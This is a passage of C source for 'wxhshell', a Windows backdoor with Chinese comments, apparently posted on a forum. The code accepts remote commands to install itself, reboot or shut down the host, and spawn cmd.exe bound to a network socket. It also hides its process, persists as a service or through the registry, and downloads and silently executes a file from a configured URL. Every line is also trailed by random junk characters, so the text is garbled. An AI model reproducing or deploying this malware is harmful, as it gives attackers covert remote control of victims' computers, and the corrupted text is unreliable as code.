  } ^,ZvKA"}+/  
  // 安装 E:dT_x<Y  
  case 'i': { =oKPMmpCZ  
    if(Install()) g[D,\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); RJ`/qXL  
    else U# FJ8CD&u  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @Z=y'yc'y.  
    break; >m;|I/2@  
    } ^c[CyZ:a  
  // 卸载 wZ\e3H z  
  case 'r': { UmP?}Xw6  
    if(Uninstall()) ]>S$R&a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _+ R_ms  
    else ek0;8Ds9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); x/jN& ;"/  
    break; Do[ F+Y  
    } %8`1Li6g  
  // 显示 wxhshell 所在路径 Sj]T{3mi  
  case 'p': { MIua\:xT  
    char svExeFile[MAX_PATH]; m?kIa!GM=  
    strcpy(svExeFile,"\n\r"); 7Hr4yh[j&  
      strcat(svExeFile,ExeFile); J z:W-o  
        send(wsh,svExeFile,strlen(svExeFile),0); "#eNFCo7k  
    break; W0uM?J\O  
    } f'zFg["aZS  
  // 重启 \PtC  
  case 'b': { XR=c 8f  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); U%B]N@  
    if(Boot(REBOOT)) C}DG'z9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v,x%^gv0  
    else { ~M9 n<kmE  
    closesocket(wsh); \SHD  
    ExitThread(0); Spr:K,  
    } exrt|A] _[  
    break; )1tnZ=&  
    } ;6 &=]I  
  // 关机 Y$`hudJ&  
  case 'd': { dO4U9{+  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); q NQ3(1xW  
    if(Boot(SHUTDOWN)) 2M( PH]D  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 77=y!SDP  
    else { ZZ.0'   
    closesocket(wsh); krnk%ug  
    ExitThread(0); dW=D]  
    } /o06hy  
    break; :Ro" 0/d  
    } {]_{BcK+  
  // 获取shell 5)zh@aJ@  
  case 's': { .]P;fCQmM  
    CmdShell(wsh); |EEz>ci  
    closesocket(wsh); S bqM=I+  
    ExitThread(0); p~zTRnm  
    break; a518N*]j  
  } o!_; H}pq  
  // 退出 Qj~W-^/ -  
  case 'x': { (9[C0eS  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); G>{:D'#  
    CloseIt(wsh); p$!+2=)gY  
    break; - 9<yB  
    } ,tv9+n@x  
  // 离开 Ai_|)  
  case 'q': { q!h*3mNm  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); )b2E/G@X&  
    closesocket(wsh); hu*>B  
    WSACleanup(); %IH|zSr)EM  
    exit(1); 9oau _Q#  
    break; )1yUV*6  
        } D!E 9@*Lf  
  } 'FA)LuAok  
  } TboHP/  
L!Zxc~  
  // 提示信息 NVh>Q>B$_  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); d~1"{WPSn  
} 'N,NG$G2  
  } 6Oqnb+  
D30Z9_^%:  
  return; mM^8YL  
} LVcy.kU@]  
ppo$&W &z  
// shell模块句柄 H=SMDj)s+  
int CmdShell(SOCKET sock) mt6uW+t/  
{ wTuRo J  
STARTUPINFO si; bFdg '_  
ZeroMemory(&si,sizeof(si)); d~bH!P  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; snzH}$Ls  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; WMz|FFKVY  
PROCESS_INFORMATION ProcessInfo; 1B]wSvP@  
char cmdline[]="cmd"; d.(]V2X.J  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); IhKas4  
  return 0; +z?f,`.*  
} .$}zw|,q  
5}^08Xl  
// 自身启动模式 L5|;VH  
int StartFromService(void) SE-, 1p  
{ Kz2^f@5=F  
typedef struct bzL;)H4Eo  
{ `0vy+T5  
  DWORD ExitStatus; K dQ|$t  
  DWORD PebBaseAddress; FbNQ  
  DWORD AffinityMask; 6!PX! UkF  
  DWORD BasePriority; bIl0rx[`  
  ULONG UniqueProcessId; ]]QCJf@p  
  ULONG InheritedFromUniqueProcessId; {_N(S]Z  
}   PROCESS_BASIC_INFORMATION; {.8)gVBmA  
-OGy-"  
PROCNTQSIP NtQueryInformationProcess; #UnO~IE.m$  
zSufU2  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ~=gH7V  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; szs3x-g  
#Lt+6sa]2@  
  HANDLE             hProcess; -hV KPIb  
  PROCESS_BASIC_INFORMATION pbi; Q2WrB+/  
FrM~6A_  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); cx%9UK*c  
  if(NULL == hInst ) return 0; -r0\  
iYs?B0*JWK  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); :hdh$}y  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); T{xo_u{Q  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess");  0 9'o  
v8(u9V%?6  
  if (!NtQueryInformationProcess) return 0; DMpd(ws  
C^v -&*v  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); (j Q6~1  
  if(!hProcess) return 0; o:\j/+]  
`D4'`Or-U  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; mP+yjRw  
tl#s:  
  CloseHandle(hProcess); kF~e3A7C  
:rc[j@|pH  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); X51$5%  
if(hProcess==NULL) return 0; Fd.d(  
PS;*N 8  
HMODULE hMod; dV*rnpN  
char procName[255]; 3sIM7WD?  
unsigned long cbNeeded; :u+#:8u  
m|gd9m $,?  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 5!fW&OiY  
vy y\^nL  
  CloseHandle(hProcess); N>\?Aeh  
JNCtsfd  
if(strstr(procName,"services")) return 1; // 以服务启动 w:(7fu=  
ExU|EN-  
  return 0; // 注册表启动 ``CADiM:S  
} vK~KeZ\,p=  
4?uG> ;V  
// 主模块 wA&)y>n-  
int StartWxhshell(LPSTR lpCmdLine) Y\S^DJy  
{ _qNLy/AY  
  SOCKET wsl; '0rwNEg  
BOOL val=TRUE; .[ s82c]]6  
  int port=0; Tz~ ftf  
  struct sockaddr_in door; +>({pHZ<S  
|.W;vc<  
  if(wscfg.ws_autoins) Install(); Qn&^.e9I  
z3LPR:&Z  
port=atoi(lpCmdLine); C^O^Jj5X%  
;g9:0,xT4  
if(port<=0) port=wscfg.ws_port; bd;f@)X  
<OB~60h"  
  WSADATA data; > PA,72e   
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ?MB nnyo6  
sUMn (@r  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ^C T}i'  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); fbkjK`_q  
  door.sin_family = AF_INET; "b7C0NE  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); IV*$U7~  
  door.sin_port = htons(port); b;ZAz  
nP5fh_/  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { zjE4v-H:l  
closesocket(wsl); cNv c pv  
return 1; ( "z;Q?(  
} y5h[^K3  
oPZ4}>uV  
  if(listen(wsl,2) == INVALID_SOCKET) { LRs; >O  
closesocket(wsl); >*CK@"o  
return 1; F x8)jBB_  
} KK|Jach  
  Wxhshell(wsl); (Ad! hyE(  
  WSACleanup(); o|C{ s   
1k i"UF/  
return 0; x*V<afLY[  
! .}{ f;Ls  
} NDG Bvb  
)Cfrqe1^  
// 以NT服务方式启动 E+ 20->  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) rNp#5[e  
{ Xpwom'  
DWORD   status = 0; Gjr2]t;E  
  DWORD   specificError = 0xfffffff; 2 wvDC@  
eQj/)@B:V  
  serviceStatus.dwServiceType     = SERVICE_WIN32; &i RX-)^u  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; r U5'hK  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; t,nB`g?  
  serviceStatus.dwWin32ExitCode     = 0; xc?<:h"  
  serviceStatus.dwServiceSpecificExitCode = 0; rfpxE>_|G  
  serviceStatus.dwCheckPoint       = 0; E 3.s8}}  
  serviceStatus.dwWaitHint       = 0; [N)M]u  
=Y[Ae7e  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); iq -o$6Pg  
  if (hServiceStatusHandle==0) return; G> >_G<x  
!CKUkoX  
status = GetLastError(); Cn '=_1p  
  if (status!=NO_ERROR) U7?ez  
{ pXa? Q@ 6  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; N3) v,S-  
    serviceStatus.dwCheckPoint       = 0; k*^W lCZ3  
    serviceStatus.dwWaitHint       = 0; # w6CL  
    serviceStatus.dwWin32ExitCode     = status; Y1IlH8+0  
    serviceStatus.dwServiceSpecificExitCode = specificError; O2f2Fb$B7  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); fO nvC*  
    return; ;wrgpP3  
  } O1,[7F.4g  
37Y]sJrs$  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; |e >-v  
  serviceStatus.dwCheckPoint       = 0; pM3BBF%  
  serviceStatus.dwWaitHint       = 0; 6Tnzg`0I  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ]9Hy "#Fz  
} Ea?.H Rxl  
F)Lbr>H?I  
// 处理NT服务事件,比如:启动、停止  sd%~pY}  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 7/L7L5h<  
{ >Z% `&D~u  
switch(fdwControl) ZbUf|#GTB  
{ lfP|+=^B  
case SERVICE_CONTROL_STOP: (P-<9y@  
  serviceStatus.dwWin32ExitCode = 0; K2 2Xo<3  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; g_U69 z  
  serviceStatus.dwCheckPoint   = 0; X Rn=;gK%J  
  serviceStatus.dwWaitHint     = 0; 6Y^o8R  
  { {J$aA6t:"T  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $!Tw`O  
  } @@jdF-Utj;  
  return; `Fj(g!`  
case SERVICE_CONTROL_PAUSE: J^4k}  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 2wCRT}C  
  break; 8n?.w:Y/  
case SERVICE_CONTROL_CONTINUE: tw66XxE  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; HJmO+  
  break; [eRMlSXA  
case SERVICE_CONTROL_INTERROGATE: Ay]5GA!W+  
  break; "RLb wm~  
}; >Fz$DKr[  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); HV@:!zM  
} {QID@  
nKdLhCN'=  
// 标准应用程序主函数 Q1z04m1_y[  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) yhaYlYv[_3  
{ c+=&5=i[3  
WmA578|l!  
// 获取操作系统版本 @V)WJ {  
OsIsNt=GetOsVer(); q]x@q  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 'Nh^SbD+_|  
32yNEP{  
  // 从命令行安装 eORt qX8*  
  if(strpbrk(lpCmdLine,"iI")) Install(); I?QKd@  
K@m^QioMj  
  // 下载执行文件 N"TD$NrK\  
if(wscfg.ws_downexe) { ~6tY\6$9f  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) YbKW;L&Ff  
  WinExec(wscfg.ws_filenam,SW_HIDE); a0R]hENC  
} PJ{.jWwD  
_Gu ;U@  
if(!OsIsNt) { \!r^6'A   
// 如果时win9x,隐藏进程并且设置为注册表启动 ;QYK {3R?  
HideProc(); AN@Vos Cu  
StartWxhshell(lpCmdLine); %[J( ,rm  
} cu-WY8n  
else 4tI~d8?pk+  
  if(StartFromService()) iX=*qiVX  
  // 以服务方式启动 t(Uoi~#[  
  StartServiceCtrlDispatcher(DispatchTable); 9L};vkYk#  
else |NI0zd  
  // 普通方式启动 x>^S..K}L%  
  StartWxhshell(lpCmdLine); Gsb]e  
{8' 5  
return 0; ' vwBG=9C  
}
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只看该作者 1 发表于: 2006-10-10
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